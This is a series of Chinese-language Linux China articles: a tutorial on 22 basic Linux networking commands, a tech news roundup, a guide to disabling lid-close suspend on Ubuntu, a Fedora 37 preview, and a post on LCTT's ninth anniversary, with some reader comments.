你应该知道的 22 个基本的 Linux 网络命令

![](/data/attachment/album/202209/09/151623qbizibbrzfrffrpc.jpg)

我们并不是每天都会谈论 Linux 的命令行。但正如一些读者指出的那样，你们也想学习一些命令行的技巧。

因此，我整理了一份基本的 Linux 网络命令清单，这些命令在我的大学时代帮助了我，让我对如何在网络方面使用 Linux 有了坚定的认识。

这些命令将帮助你设置网络，以及解决你在 Linux 系统中可能遇到的各种网络问题。

### Linux 中的基本网络命令

这个汇编包括了 CLI 实用程序，它们将帮助你排除网络问题、监控数据包和连接的设备，以及更多。

在我展示这些命令的一些细节之前，让我分享一下我今天要讨论的所有命令的简要概述。

| 命令 | 说明 |
| --- | --- |
| `ip` | 操纵路由来分配和配置网络参数 |
| `traceroute` | 识别数据包到达主机的路径 |
| `tracepath` | 在追踪网络主机的路径时，获取最大传输单元 |
| `ping` | 通常用于检查主机和服务器之间的连接情况 |
| `ss` | 获得有关网络套接字的详细信息 |
| `dig` | 给出所有关于 DNS 名称服务器的必要信息 |
| `host` | 输出特定域和主机的 IP 地址 |
| `hostname` | 主要用于输出和更改主机名 |
| `curl` | 在网络上通过各种协议传输数据 |
| `mtr` | `ping` 和 `traceroute` 的组合，用于诊断网络 |
| `whois` | 获取有关注册的域名、IP 地址、名称服务器等信息 |
| `ifplugstatus` | 检测本地以太网设备的链接状态 |
| `iftop` | 监视与带宽有关的统计信息 |
| `tcpdump` | 数据包嗅探和分析工具，用于捕获、分析和过滤网络流量 |
| `ethtool` | 允许用户配置以太网设备 |
| `nmcli` | 用于网络连接的故障排除工具 |
| `nmap` | 主要用于审计网络安全 |
| `bmon` | 开源工具，用于监控实时带宽 |
| `firewalld` | 配置防火墙规则的 CLI 工具 |
| `iperf` | 测量网络性能和调整的工具 |
| `speedtest-cli` | [speedtest.net](http://speedtest.net) 的 CLI 工具，用于检查网速 |
| `vnstat` | 主要用于监控网络流量和带宽消耗 |

现在，让我们用例子和更深入的方式讨论它们。

请注意，并不是所有的命令都会预装。我已经添加了针对 Debian/Ubuntu 的说明。对于其他发行版，请使用你的软件包管理器进行安装。

#### 1、ip 命令

`ip` 命令是最基本的，但也是最重要的，你会发现系统管理员经常使用它，其用于从操纵路由到分配和配置网络参数。

虽然用例可能无穷无尽，但让我向你展示 `ip` 命令的最基本用例（寻找 IP 地址）。

```
ip address

```

![ip address](/data/attachment/album/202209/09/151700l909kggdf9gfzu9b.png)

同样，你也可以使用 `ip` 命令来持续监控设备的状态，请使用 `monitor` 参数而不是我们之前用来获取 IP 地址的 `address` 参数：

```
ip monitor

```

![ip monitor](/data/attachment/album/202209/09/151700j7d7tuu0sv86u550.png)

#### 2、traceroute

使用 `traceroute` 命令，你可以确定数据包到达主机的路线。而且，当你想询问数据包的传输情况和数据包所走的跳数时，它可能相当有用。

默认情况下，你的系统可能没有安装 `traceroute`，如果你使用的是 Debian 及派生的发行版（包括 Ubuntu），安装时只需使用一个命令：

```
sudo apt install traceroute

```

例如，追踪到 [google.com](http://google.com) 的数据包：

```
traceroute google.com

```

![traceroute google.com](/data/attachment/album/202209/09/151700f2kx3mxzcab5bt7a.png)

默认情况下，`traceroute` 会使用 IPv4，但是你可以通过使用 `-6` 选项来改变这一行为，该选项将指示 `traceroute` 使用 IPv6。让我告诉你怎么做：

![traceroute -6 google.com](/data/attachment/album/202209/09/151701cm7am5944tptd5md.png)

#### 3、tracepath

`tracepath` 命令用于发现 MTU（最大传输单元），同时追踪到网络主机的路径。它与我上面讨论的 `traceroute` 很相似，但它不需要 `sudo` 权限，而且也没有像它那么多功能。

但是，首先什么是 MTU？

MTU 就是可以在网络上传输或接收的最大帧或数据包。

现在，让我们看一下 [google.com](http://google.com) 的 `tracepath` 的基本例子：

```
tracepath google.com

```

![tracepath google.com](/data/attachment/album/202209/09/151701vcyttoktwddnd6of.png)

同样，你可以使用 `-b` 选项同时打印出 IP 地址和主机名。

```
tracepath -b google.com

```

![tracepath -b google.com](/data/attachment/album/202209/09/151701yzugbrhhw33bzgoq.png)

#### 4、ping

[ping 命令](https://linuxhandbook.com/ping-command-ubuntu/)（<ruby> 数据包网络飞龙探云手 <rt>  Packet Internet Groper </rt></ruby> ?） 可以说是在排除网络故障时最重要的命令之一，因为它是检查主机和服务器之间连接情况的最常用方法。

例如，我 `ping` 谷歌：

```
ping google.com

```

![ping google.com](/data/attachment/album/202209/09/151702vcmttttxy7midydd.png)

这里，最后一行（`min/avg/max`）表示从指定的服务器获得响应的时间。

如果你得到一个错误提示 `bash: ping: command not found` （LCTT 译注：不会吧？），你可以查看我们的指南 [如何在 Ubuntu 上安装 Ping](https://linuxhandbook.com/ping-command-ubuntu/)。

#### 5、ss

`ss`（<ruby> 套接字统计 <rt>  socket statistics </rt></ruby>）命令用于详细了解网络套接字（在网络上发送和接收数据的端点）。

要列出所有监听和非监听的 TCP 连接，你必须使用 `-at` 选项，如下所示：

```
ss -at

```

![ss -at](/data/attachment/album/202209/09/151702v72ijlv2ificf05z.png)

同样，你可以使用 `-au` 选项对 UDP 端口进行同样的操作：

```
ss -au

```

![ss -au](/data/attachment/album/202209/09/151702keugegjs7asax0se.png)

#### 6、dig

[dig 命令](https://linuxhandbook.com/dig-command/)（<ruby> 域信息龙爪手 <rt>  Domain Information Groper </rt></ruby> ?）用于获取有关域名的所有必要信息。

要在基于 Ubuntu 的发行版上安装 `dig` 工具，请按照给出的命令进行：

```
sudo apt install dnsutils

```

现在，让我告诉你如何获取一个特定主机的信息，在这个例子中，我将获取 [itsfoss.com](http://itsfoss.com) 的信息：

```
dig itsfoss.com

```

![dig itsfoss.com](/data/attachment/album/202209/09/151703tf7cdfz1gsa919oo.png)

#### 7、host

`host` 命令主要用于获取一个特定主机的 IP 地址，或者你可以从一个特定的 IP 地址获取主机名。换句话说，它是一个 DNS 查询工具。

要找到主机的 IP，你只需要在 `host` 命令中附加主机名。让我告诉你怎么做：

```
host itsfoss.com

```

![host itsfoss.com](/data/attachment/album/202209/09/151703vyyeqh06ny4ffhp6.png)

同样，你可以用一个 IP 地址来获取主机名：

```
host 8.8.4.4

```

![host 8.8.4.4](/data/attachment/album/202209/09/151703nq0l3mmoofl2g2gz.png)

#### 8、hostname

如果你已经使用了一段时间的 Linux，你一定很熟悉这个命令，因为这主要是用来 [改变你的系统的主机名](https://itsfoss.com/change-hostname-ubuntu/) 和 NIS（网络信息系统）的主机名。

当不使用任何选项时，它可以得到系统当前的主机名。

```
hostname

```

![hostname](/data/attachment/album/202209/09/151704zkponspotrr28ktt.png)

从包含所需主机名的文件中改变主机名是这个工具的另一个有趣的功能：

```
sudo hostname -F <filename>

```

![sudo hostname -F hostname.txt](/data/attachment/album/202209/09/151704cwdv39etzsv94z3e.png)

#### 9、curl

`curl`（<ruby> 客户端 URL <rp>  （ </rp> <rt>  Client URL </rt> <rp>  ） </rp></ruby>）命令主要用于在网络上传输数据，支持各种协议，包括 HTTP、FTP、IMAP 和许多其他协议。

这个工具是首选的自动化工具，因为它是在没有任何人类互动的情况下工作的，也可以用于端点测试、调试和错误记录。

`curl` 工具没有预装，如果你在任何 Debian 及其派生发行版上，你只需要使用以下命令进行安装：

```
sudo apt install curl

```

使用 `curl` 命令 [下载文件](https://linuxhandbook.com/curl-command-examples/) 非常容易，你只需在 URL 中使用 `-O` 选项，就可以开始了。

```
curl -O [URL]

```

![curl -o url](/data/attachment/album/202209/09/151704s550wwdbvxvhbw7b.png)

在下载大文件时，进度条会很方便，你可以用 `curl` 的 `-#` 选项来显示进度条。

![curl -# -O](/data/attachment/album/202209/09/151704h0xk1o1qqqcsjxk1.png)

#### 10、mtr

它是 `ping` 和 `traceroute` 工具的组合，主要用于网络诊断，并提供网络响应和连接的实时情况。

使用 `mtr` 的最简单方法是用它跟上一个主机名或 IP 地址，它将给出一个实时的 `traceroute` 报告。

```
mtr [URL/IP]

```

![mtr google.com](/data/attachment/album/202209/09/151705ymzjadta68pbmozt.png)

如果你想让 `mtr` 同时显示主机名和 IP 地址，你可以把它和 `-b` 选项配对，如下图：

```
mtr -b [URL]

```

![mtr -b](/data/attachment/album/202209/09/151705rw0oeiuq6uxofhxw.png)

#### 11、whois

`whois` 可以帮助你找到有关注册的域名、IP 地址、名称服务器等信息，因为它是 whois 目录服务的客户端。

这个工具可能没有预装在你的设备上，要在基于 Debian/Ubuntu 的发行版上安装，你可以使用给出的命令：

```
sudo apt install whois

```

一般来说，`whois` 命令是与给出的域名配对使用的：

```
whois [DomainName]

```

![whois google.com](/data/attachment/album/202209/09/151705lyt0wh1e0wtbpehc.png)

另外，你也可以用一个 IP 地址来代替域名，你会得到同样的细节。

#### 12、ifplugstatus

`ifplugstatus` 是一个最基本的，但也是最有用的工具，足以在基本水平上排除连接问题。它用于检测本地以太网的链接状态，其工作方式与 `mii-diag`、`mii-tool` 和 `ethtool` 类似，支持所有三个 API。

在基于 Debian/Ubuntu 的发行版上安装，你可以按照给出的命令进行：

```
sudo apt install ifplugd

```

这个工具没有任何花哨的选项，经常不需要与任何配对选项而使用：

```
ifplugstatus

```

![ifplugstatus](/data/attachment/album/202209/09/151706jie2nxgobdoaxhxv.png)

#### 13、iftop

`iftop`（<ruby> 接口的 top <rt>  Interface TOP </rt></ruby>）经常被管理员用来监控与带宽有关的统计数据，当你遇到网络问题时，也可以作为诊断工具使用。

这个工具需要手动安装，可以通过给出的命令在运行 Debian/Ubuntu 的机器上轻松安装。

```
sudo apt install iftop

```

当 `iftop` 在没有任何选项的情况下使用时，它会显示默认接口的带宽统计。

```
sudo iftop

```

![iftop](/data/attachment/album/202209/09/151706if8wcf8y48b476yi.png)

你也可以通过在设备名称后面加上 `-i` 选项来指定网络设备。

```
sudo iftop -i <DeviceName>.

```

在我的例子中，是 `enp1s0`，所以我的输出将是如下：

![sudo iftop -i enp1s0](/data/attachment/album/202209/09/151706spfvp0dp1bhtbh11.png)

#### 14、tcpdump

`tcpdump` 是一个数据包嗅探和分析工具，用于捕获、分析和过滤网络流量。它也可以作为一个安全工具使用，因为它将捕获的数据保存在可以 [通过 Wireshark 访问](https://itsfoss.com/install-wireshark-ubuntu/) 的 pcap 文件中。

像许多其他工具一样，`tcpdump` 没有预装，如果你是在Debian/Ubuntu 上，你可以按照下面的命令进行安装：

```
sudo apt install tcpdump

```

一旦你完成了安装，你可以获得当前接口的捕获数据包，如下所示：

```
sudo tcpdump

```

![sudo tcpdump](/data/attachment/album/202209/09/151707qulxbheo3xsh62y2.png)

那么如何将捕获的数据包保存在 pcap 文件中呢？让我告诉你怎么做：

```
sudo tcpdump -w Captured_Packets.cap -i < networkdevice >

```

![sudo tcpdump -w](/data/attachment/album/202209/09/151707m1kqji1p2llj5lii.png)

要访问保存的文件，你需要使用 `-r` 选项加上文件名。

```
sudo tcpdump -r Captured_Packets.pcap

```

![sudo tcpdump -r filename](/data/attachment/album/202209/09/151708hid43ohf4din3psf.png)

#### 15、ethtool

顾名思义，`ethtool` 工具主要涉及管理以太网设备。使用这个工具，你可以调整网卡速度、自动协商特性等。

但它可能没有预装在你的机器上，可以通过利用给出的命令安装在 Debian/Ubuntu 机器上：

```
sudo apt install ethtool

```

要获取接口的详细信息，你只需在命令后面加上设备名称，如下所示：

```
sudo ethtool <InterfaceName>

```

![sudo ethtool enp1s0](/data/attachment/album/202209/09/151708f83ckipzcw3pbrri.png)

#### 16、nmcli

作为一个简单而强大的网络故障排除工具，它是任何系统管理员在排除网络故障时首先使用的工具之一，也可以在脚本中使用。

你可以使用 `nmcli` 命令来监控设备的连接状态：

```
nmcli dev status

```

![nmcli dev status](/data/attachment/album/202209/09/151709ndff8fpzdpwg74fy.png)

当不使用任何选项时，它将带来你系统中所有现有设备的信息：

```
nmcli

```

![nmcli](/data/attachment/album/202209/09/151709vu5pp5qtzfdevi60.png)

#### 17、nmap

`nmap` 是一个探索和审计网络安全的工具。它经常被黑客和安全爱好者使用，因为它允许你获得网络的实时信息、连接到你的网络的 IP 的详细信息、端口扫描，以及更多。

要在基于 Debian/Ubuntu 的发行版上安装 `nmap` 工具，请使用给出的命令：

```
sudo apt install nmap

```

让我们开始扫描主机名：

```
nmap itsfoss.com

```

![nmap itsfoss.com](/data/attachment/album/202209/09/151710eew2jj9qt9k4jt5f.png)

#### 18、bmon

`bmon` 是一个开源的工具，用于监测实时带宽和调试问题，以更人性化的方式呈现统计数据。这个工具最好的部分是图形显示，甚至可以在 HTML 中得到你的输出！

安装非常简单，因为 `bmon` 存在于流行的 Linux 发行版的默认仓库中，这也包括 Debian/Ubuntu。

```
sudo apt install bmon

```

现在，你只需要启动 `bmon`，就可以用眼睛愉快地监控带宽了：

```
bmon

```

![bmon](/data/attachment/album/202209/09/151710vp81hq1pvy88827r.png)

#### 19、firewalld

管理防火墙可以说是网络安全的核心部分，这个工具允许你添加、配置和删除防火墙的规则。

但是 firewalld 需要手动安装，如果你使用的是基于 Debian/Ubuntu 的发行版，你可以利用给出的命令进行安装：

```
sudo apt install firewalld

```

例如，我将向你展示，如何为公共区域永久地打开 80 端口：

```
sudo firewall-cmd --permanent --zone=public --add-port=80/tcp

```

![sudo firewall-cmd --permanent --zone=public](/data/attachment/album/202209/09/151711zko733kwwoolxj64.png)

同样，要删除最近添加的规则，你必须使用 `-remove` 选项，如下所示：

```
sudo firewall-cmd --zone=public --remove-port=80/tcp

```

![sudo firewall-cmd --zone=public --remove](/data/attachment/album/202209/09/151711aq8ai9adayuxd943.png)

#### 20、iperf

`iperf` 是一个用 C 语言编写的开源工具，允许用户进行网络性能测量和调整。

这个工具存在于 Debian/Ubuntu 的默认资源库中，可以通过给出的命令安装：

```
sudo apt install iperf

```

要开始监控网络，用户必须通过给出的命令在服务器上启动这个客户端：

```
iperf -s -u

```

其中，`-s` 选项表示服务器，`-u` 选项为 UDP 格式。

![iperf -s -u](/data/attachment/album/202209/09/151711spfywrztryrrrryq.png)

现在，你可以通过提供首选协议的 IP 地址有效载荷连接到你的服务器（使用 `-c` 选项表示客户端）。在这个例子中，我选择了 UDP（使用 `-u` 选项），有效载荷为 100：

```
iperf -c 10.0.2.15 -u 100

```

![iperf -c](/data/attachment/album/202209/09/151711cjsrmoa7ja7opl29.png)

#### 21、speedtest-cli

顾名思义，这是 [speedtest.net](http://speedtest.net) 网站的 CLI 工具。这个在 Apache 2.0 许可下发布的开源工具，当你想从 CLI 获得一个可靠的 [检查网速](https://itsfoss.com/network-speed-monitor-linux/) 的来源时，会有很大帮助。

安装非常简单，如果你是在 Debian/Ubuntu 上，可以利用给出的命令轻松安装：

```
sudo apt install speedtest-cli

```

一旦你完成了安装部分，你只需要使用一行命令即可测试你的速度：

```
speedtest-cli

```

![speedtest-cli](/data/attachment/album/202209/09/151712la7iv5a36a3ia7o5.png)

#### 22、vnstat

`vnstat` 工具主要被系统管理员用来监控网络流量和带宽消耗（大部分情况下），因为这个工具可以监控你系统的网络接口的流量。

和其他网络工具一样，你可以在默认的软件库中找到 `vnstat`，如果你在 Debian/Ubuntu 上，可以通过给出的命令进行安装：

```
sudo apt install vnstat

```

你可以使用 `vnstat` 命令，不需要任何选项，它将带来你系统所有可用接口的基本统计信息：

```
vnstat

```

![vnstat](/data/attachment/album/202209/09/152422xtsjsexpxspwcecu.png)

对于实时监控，你可以将 `vnstat` 命令与 `-l` 选项配对。

![vnstat -l](/data/attachment/album/202209/09/151712k986kg3ik6kzkkd9.png)

### 一个长长的清单，对吗？

这个汇编连冰山一角都算不上，只是分享了每个命令的目的和基本例子，因为增加更多的命令会使这个清单变得更长。

流行的但 [已废弃的 Linux 命令](https://itsfoss.com/deprecated-linux-commands/)，如 `ipconfig`，已被故意排除在这个列表之外。

如果你很好奇，你可以学习 [如何最大限度地利用手册页](https://linuxhandbook.com/man-pages/)，这将教会你如何使用任何实用程序的最大潜力。

如果我忘了提到任何你喜欢的东西，请在评论中告诉我。

---

via: <https://itsfoss.com/basic-linux-networking-commands/>

作者：[Sagar Sharma](https://itsfoss.com/author/sagar/) 选题：[lkxed](https://github.com/lkxed) 译者：[wxy](https://github.com/wxy) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #754 美国弗吉尼亚州的数据中心容量超过欧洲和中国

Summary: • 美国弗吉尼亚州的数据中心容量超过欧洲和中国 • 谷歌鼓励开源社区对代码进行模糊测试 • 中科大发 4 万多封钓鱼邮件，约 10% 的人中招

![](/data/attachment/album/202209/09/170143cmm88m0muybyoffl.jpg)

![](/data/attachment/album/202209/09/170158xo4laj9w74zoa442.jpg)

### 美国弗吉尼亚州的数据中心容量超过欧洲和中国

根据 Synergy 的数据，按关键 IT 负载衡量，在 2022 年第二季度末，美国占全球超大规模数据中心容量的 53%。其余的份额在中国、欧洲和世界其他地区之间相对平均分配。而美国弗吉尼亚州拥有美国三分之一以上的超大规模数据中心容量，这比中国或整个欧洲的全部容量都要多。如果以数据中心容量衡量，领先的公司是亚马逊、谷歌、微软、Facebook、阿里巴巴和腾讯。

>
> **[消息来源：The Register](https://www.theregister.com/2022/09/08/virginia_datacenter_alley_capacity/)**
>
>
>

>
> 老王点评：毕竟，大半个互联网在美国。
>
>
>

![](/data/attachment/album/202209/09/170211gmvono5dnrjnj4cn.jpg)

### 谷歌鼓励开源社区对代码进行模糊测试

谷歌在 2016 年推出了社区模糊测试服务（OSS-Fuzz）以应对心脏流血漏洞，目前已经检查了大约 700 个关键开源项目的漏洞。模糊测试，是一种软件测试技术，试图通过向软件注入随机或半随机数据来发现错误。谷歌的开源安全团队表示，OSS-Fuzz 已经帮助修复了开源项目中的 8000 多个安全漏洞和 26000 个其他错误。他们鼓励开源社区参与该项目，如果在该项目中发现至少两个以前未发现的漏洞，将获得一万多美元的奖励。

>
> **[消息来源：The Register](https://www.theregister.com/2022/09/08/google_fuzz_rewards/)**
>
>
>

>
> 老王点评：比较起来，还是谷歌对开源的支持最真诚。
>
>
>

![](/data/attachment/album/202209/09/170223j17o1crov7zrr1az.jpg)

### 中科大发 4 万多封钓鱼邮件，约 10% 的人中招

近日，有中国科学技术大学的学生在社交平台发文称，收到了“中秋免费月饼领取”的邮件，但填写资料后却没有领到月饼。校方表示，这其实是一次官方的钓鱼邮件演练。此次演练共向全校师生发送模拟钓鱼邮件 4.5 万多封，并在邮件中故意留了明显的错误。但截至 9 月 8 日上午，共有 3500 多人在伪造的身份认证界面提交了信息。中科大公布的数据显示，2022 年 1 月至 8 月，该校邮件服务器有 921 个账号被窃取密码发送垃圾邮件，平均每天近 4 个账号。

>
> **[消息来源：快科技](https://news.mydrivers.com/1/858/858450.htm)**
>
>
>

>
> 老王点评：这种演练好，别学上了半天，最后连简单的社会工程都不能识破。
>
>
>


如何在笔记本电脑合盖时不挂起 Ubuntu

hp这款好漂亮

多谢

多谢

![](/data/attachment/album/202209/09/230733ppyyws84ccgrc777.jpg)

如果你在笔记本电脑上使用 Ubuntu，你可能已经注意到当你合上盖子时系统处于挂起状态。

这是预期的行为。它可以节省电池和你的工作。你掀开盖子，系统唤醒，你可以登录并继续工作。

这一切听起来都不错，除非你使用多显示器设置。像我这样的一些人更喜欢关闭笔记本电脑，只使用外接显示器。

但是，如果关闭笔记本电脑盖会挂起系统，那么会产生问题。

让我告诉你如何改变这种行为。

### 关闭笔记本电脑盖时不要挂起

实际上，我注意到最近的 Ubuntu 版本在这个情况下更智能。当笔记本电脑连接到扩展坞并合上盖子时，它不会进入挂起模式。

这是正常的预期行为，但由于 Ubuntu 某种神才知道的原因，它可能不会一直有效。

好消息是你可以使用 GUI 和命令行强制更改此行为。

让我分享这两种方法。

#### 方法 1：使用 GNOME 优化

如果你使用的是默认的 GNOME 桌面，那么你很幸运。 [在 Ubuntu 的软件中心安装 GNOME 优化（Tweaks）工具](https://itsfoss.com/gnome-tweak-tool/)，或使用以下命令：

```
sudo apt install gnome-tweaks

```

安装后，启动优化应用。在侧边栏的<ruby> 常规 <rt>  General </rt></ruby>选项卡中，关闭“<ruby> 笔记本电脑盖合上时挂起 <rt>  Suspend when laptop lid is closed </rt></ruby>”按钮。

![change lid close behavior ubuntu](/data/attachment/album/202209/09/230735joca9onzby2qq8qp.png)

这就好了。你不需要重启即可使更改生效。

现在，让我们谈谈命令行方法。

#### 方法 2：更改登录配置（针对高级用户）

如果你查看文件 `/etc/systemd/logind.conf` 的内容，你将看到三种不同类型的笔记本电脑合盖默认设置：

* `HandleLidSwitch=suspend`：当笔记本电脑使用电池供电时，合盖挂起
* `HandleLidSwitchExternalPower=suspend`：当笔记本电脑插入电源插座时，合盖挂起
* `HandleLidSwitchDocked=ignore`：当笔记本电脑连接到扩展坞时，合盖忽略

![Default laptop lid closing settings](/data/attachment/album/202209/09/230737jlcgqcchcc6kmaqq.png)

如你所见，如果合上盖子，笔记本电脑将挂起，无论它是否连接到电源。而连接扩展坞忽略合盖。

如果需要，你可以根据自己的喜好将这些参数的值更改为其中之一：

* `suspend`：合盖时挂起
* `lock`：合盖时锁定
* `ignore`：什么都不做
* `poweroff`：关机
* `hibernate`：合盖时休眠

如果你不希望你的系统在笔记本电脑盖合上时执行任何特殊操作，我建议你使用 `ignore`。

你可以编辑 `/etc/systemd/logind.conf` 文件，或者在 `/etc/systemd/logind.conf.d` 目录中创建一个新文件，并取消注释上述设置并更改其值。如果此目录不存在，请创建此目录。

我不会给你确切的命令。如果你熟悉命令行，你应该可以做到。如果你对命令行感到不习惯，请使用前面的 GUI 方法。

我希望这可以帮助你。如果你有任何问题，请告诉我。

---

via: <https://itsfoss.com/laptop-lid-suspend-ubuntu/>

作者：[Abhishek Prakash](https://itsfoss.com/) 选题：[lkxed](https://github.com/lkxed) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


即将到来的 Fedora 37 前瞻

Summary: Fedora 37 将于下个月发布。让我们来看看它带来的变化。

新fedora 桌面不能保存文件图标神马回事？有人懂吗

来自湖北随州的 Chrome Mobile iOS 105.0|iOS 15.6 用户

新fedora 桌面不能保存文件图标神马回事？有人懂吗

GNOME 3.28 就不支持桌面背景显示文件了，这都是2018年的事了。<br />
您是第一天用GNOME?

Fedora 37 将于下个月发布。让我们来看看它带来的变化。

>
> Fedora 37 将于下个月发布。让我们来看看它带来的变化。
>
>
>

![](/data/attachment/album/202209/10/000937xyaxvr5zef1gaj8h.png)

最好的 Linux 发行版之一的升级版，Fedora 37，即将面世。它将在下个月发布，如果一切按计划进行，它最早将于 2022 年 10 月 18 日发布。而测试版应该在 2022 年 9 月 13 日发布。

让我重点介绍一些你可能想关注的 Fedora 37 重要功能。

### Fedora 37 功能

![Fedora 37](/data/attachment/album/202209/10/000937w3g30x3xylexzx3e.jpg)

[Fedora](https://getfedora.org/) 37 带有最新的 GNOME 桌面以及其他完善的功能。这些包括：

#### 1、GNOME 43

![Fedora 37 切换菜单](/data/attachment/album/202209/10/000937tgc99mr87g454vzu.jpg)

GNOME 43 和其他一些技术改进将在 Fedora 37 中首次亮相。所以，看看它的体验如何应该是很令人感兴趣的。

这是一次旨在提高用户体验的实质性升级。GNOME 43 中的标志性的重要改进包括一个新的快速切换菜单和 [对 Nautilus 文件管理器的改变](https://news.itsfoss.com/gnome-files-43/)。

![Fedora 37 UI](/data/attachment/album/202209/10/000937zpjhofddpdi3h2h2.jpg)

此外，其他一些重要的变化还有：

* GNOME Web 浏览器对 WebExtensions 的支持。
* 文件管理器中新的文档上下文菜单。
* GNOME “软件”的改进。

#### 2、Linux 内核 5.19

![Fedora 37 neofetch](/data/attachment/album/202209/10/000938dyc6sm7rc9y5ciii.png)

Linux 内核 5.19 是一个有用的更新，它改进了对 ARM SoC 的支持、英特尔的 Arc GPU 支持，以及对 RISC-V 架构支持的一些调整。

你可以查看 [Linux 内核 5.19 的变化列表](https://news.itsfoss.com/linux-kernel-5-19-release/) 来了解更多。

#### 3、桌面环境更新

虽然 GNOME 43 是 Fedora 的旗舰桌面环境，但你也可以找到带有 KDE Plasma 5.26、Xfce 4.16 和 MATE 1.24 的 Fedora 升级版。

在这些版本中，鉴于 KDE Plasma 桌面的一系列改进，带有 KDE Plasma 5.26 的 Fedora 37 也是一个不错的选择。

你可以在我们之前的报道中阅读更多 [关于 KDE Plasma 5.26 版本的信息](https://news.itsfoss.com/kde-plasma-5-26-features/)。

不要忘记，你也可以看到一个 [新的 Budgie 桌面的 Fedora 定制版](https://news.itsfoss.com/fudgie-fedora-budgie-announcement/)。

截至目前，桌面、控制中心、屏幕保护程序和桌面视图的软件包都已经出现在 [Fedora 的软件包源](https://src.fedoraproject.org/rpms/budgie-control-center)。所以，我想你可以期待它们出现在 Fedora 37 的发布中。

#### 4、树莓派 4 支持

Fedora 支持树莓派，但不支持树莓派 4。

在 Fedora 37 中，由于对较新的 Linux 内核和 Mesa（图形加速）的上游改进，它 [正式引入了对树莓派 4 的支持](https://news.itsfoss.com/fedora-raspberry-pi-4/)。

这些变化也应该使 Fedora 37 在树莓派 3 系列和 Zero 2 W 上有更好的体验。

#### 5、实验性的基于 Web 界面的安装程序

Fedora 37 将是第一个为其 [Anaconda 安装程序](https://fedoraproject.org/wiki/Anaconda) 提供基于网页的用户界面的版本。

换句话说，这是对其当前安装程序的重新设计。请注意，在本次发布之后，它将只作为一个额外的预览镜像提供。

你可以单独下载它并进行实验。到现在为止，我们还不能试用它。所以，你需要在预览镜像可用后再去试试它。

#### 其他变化和新的默认壁纸

![Fedora 37 深色壁纸](/data/attachment/album/202209/10/000938ylauovuvm2pfa7ft.jpg)

对于 Fedora 37，除了可以期待很多技术上的改进，不要忘了，它还有一个新的壁纸，有浅色/深色的变体。上图显示了 Fedora 37 的深色壁纸。

浅色变体可以在本文的开头看到。

Fedora 37 的其他变化包括：

![Fedora core os](/data/attachment/album/202209/10/000938uq4i0typbjait66r.jpg)

* Fedora CoreOS 将被确认为 Fedora 的主要版本之一。
* Fedora Cloud 将被列为官方版本之一。
* GNU Emacs 28 更新。
* 用于 Fedora 服务器的新 KVM 镜像。

你可以参考 [官方的 Fedora 37 更新日志](https://fedoraproject.org/wiki/Releases/37/ChangeSet) 了解更多技术细节。

? *你对即将发布的带有 GNOME 43 的 Fedora 37 版本有何看法？请在下面的评论中分享你的想法。*

---

via: <https://news.itsfoss.com/fedora-37-features/>

作者：[Ankush Das](https://news.itsfoss.com/author/ankush/) 选题：[lkxed](https://github.com/lkxed) 译者：[wxy](https://github.com/wxy) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


开源贡献者翻译组 LCTT 九岁啦

Summary: 感谢大家九年来的支持和信任！顺祝大家中秋节、教师节快乐！

㊗ LCTT 生日 ? 快乐！

LCTT中秋快乐

ハッピーバースデー！

感谢大家九年来的支持和信任！顺祝大家中秋节、教师节快乐！

![](/data/attachment/album/202209/10/173843ee4b240bbnbr4brb.jpg)

九年前，也是这个上午，我创建了 LCTT 及其第一个项目 [TranslateProject](https://github.com/LCTT/TranslateProject)。从最初只是有感于 Unix/Linux 上的中文手册页实在太糟糕，希望做一些事情；到最后变成了一个以翻译国外各个开源社区的技术文章和开源资讯/讨论的“流水”式项目，LCTT 已经走过了令我自己都非常吃惊的九年。

人的一生，几十年而已，能在一件事上持续投入九年时光，这是我从未想过的事情。驻足回望，LCTT 其实并没有完成我最初的想法，这是缺憾；但是 LCTT 就这样变成了另外一种并非在我计划中的样子，或许也有其必然性。现在看来，LCTT 做了一些事情，也有一些存在的意义。我试着总结一下：

LCTT 的主项目 TranslateProject，选题广泛，参与门槛低，从某种意义上，为初识开源的小伙伴提供一种成为开源贡献者的方式。一些人就是通过这个项目，迈出了成为开源贡献者的第一步，并在日后的学习和工作中，成为了开源爱好者、专业技术人员。

LCTT 持续翻译了数千篇（截至今日，已经翻译发布了 6395 篇文章），这些文章的专业程度横跨了入门到精通等不同难度，内容方向涉猎了开发、运维、使用和文化等各个方面。虽然，有些文章仅堪一读，但也有不少文章值得收藏、一再细读。我屡屡能从读者那里得到反馈，这些文章对他们提供了很大的帮助，我想这就是 LCTT 的存世价值之一吧。唯独可惜的是，这些文章，没有以很好的方式组织起来，甚憾。

LCTT 有数百成员（截至今日，成功地在仓库中进行了贡献的贡献者有 311 位），他们的年龄不等，最年轻的有初中的学生、最老的，嗯这个不需要说了；他们的职业各异，比较多的是大学生，也有很多从事技术工作的专业人员，甚至还有完全不从事技术工作的贡献者。但是，他们都有一个共同的身份就是 LCTT 贡献者，因此，他们都有很多开源兄弟姐妹。

按照惯例，每两年，我会写一篇 LCTT 总结。今年又快到这个时间了，我却有些不知道该如何下笔。恍惚间，我突然想到，LCTT 是一个贡献者组织，是大家的 LCTT，那么，为什么不让大家来为 LCTT 写两句话呢？于是，我在 LCTT 群内发起了号召，请诸位成员写写自己参与 LCTT 的经历、感受或收获，也可以是祝愿、建议。下面，是我收集到的其中一些成员的留言（以留言时的顺序列出）：

* **译者-acyanbird**：Linux 中国是我的开源引路人，让我有机会从零开始参与开源社区，认识到了开源精神，见到了世界的另一个可能性。也借此机会参与不少活动，认识了很多开源人士。目前在组长的帮助下，我也开始自己建立社区，十分感谢您给我这个机会~希望我们都越来越好，有更多的人也来一起参与开源
* **译者-mandeler**：LCTT community forever！
* **译者-Kira-Pgr**：For a better open source world!
* **译者-mengxinayan**：LCTT 不仅可以用来锻炼翻译能力，同时有专人进行校对，能有效找到自身不足。此外还可以用来接触新知新方向，最重要的是可以培养自身英文阅读的习惯。Thanks LCTT！
